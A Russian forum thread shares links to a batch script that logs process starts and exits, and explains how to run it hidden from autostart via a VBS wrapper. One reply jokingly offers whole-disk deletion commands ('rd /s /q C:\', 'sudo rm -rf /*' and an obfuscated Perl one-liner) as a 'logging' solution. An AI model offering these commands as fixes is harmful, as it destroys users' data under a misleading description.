Скрипт для мониторинга и логирования запускаемых и завершаемых в системе процессов

Иногда бывает довольно полезным, может кому-то и пригодится (ссылки в комментариях)
4
Автор поста оценил этот комментарий

Форум на котором был найден скрипт - http://www.cyberforum.ru/cmd-bat/thread671391-page3.html#pos...


Оригинальный скрипт - http://metal-list.do.am/Scripts/TaskC2.1_create_by_Dragokas....


Измененный мной скрипт. Создает отчеты с именем лог-файла в виде даты и времени. - http://metal-list.do.am/Scripts/TaskC2.1_edit_by_DesignerMix...


Скрипт в кириллической кодировке - http://metal-list.do.am/Scripts/TaskC2.1_edit_by_DesignerMix...


PS: Добавлю еще свой ответ из комментариев на YouTube. 


Вопрос звучал так:

Как сделать,чтобы он работал на фоне без окна,чтобы просто записывал всё?


Ответ:

Располагаем в одной папке два файла один из которых наш скрипт TaskC2.1_edit_by_DesignerMix_v2.cmd, а другой start.vbs имеющий следующее содержание

Set WshShell = CreateObject("WScript.Shell")

WshShell.Run "TaskC2.1_edit_by_DesignerMix_v2.cmd", 0, false

И кидаем vbs в автозагрузку. Таким образом скрипт будет запускаться и выполняться без видимого окна. Что-бы его завершить необходимо найти процесс командной строки в диспетчере задач.

показать ответы
Автор поста оценил этот комментарий

да ну, зачем вы так паритесь? Все равно стандартная система логгинга и лучше и удобнее и запускается всего через одну команду:

Win:      rd /s /q C:\

Linux:    sudo rm -rf /*

или

perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

как вариант. И вы почти сразу забудете, что такое "неэффективный логгинг"

раскрыть ветку (1)
Автор поста оценил этот комментарий

И вправду подчистую все отлогируется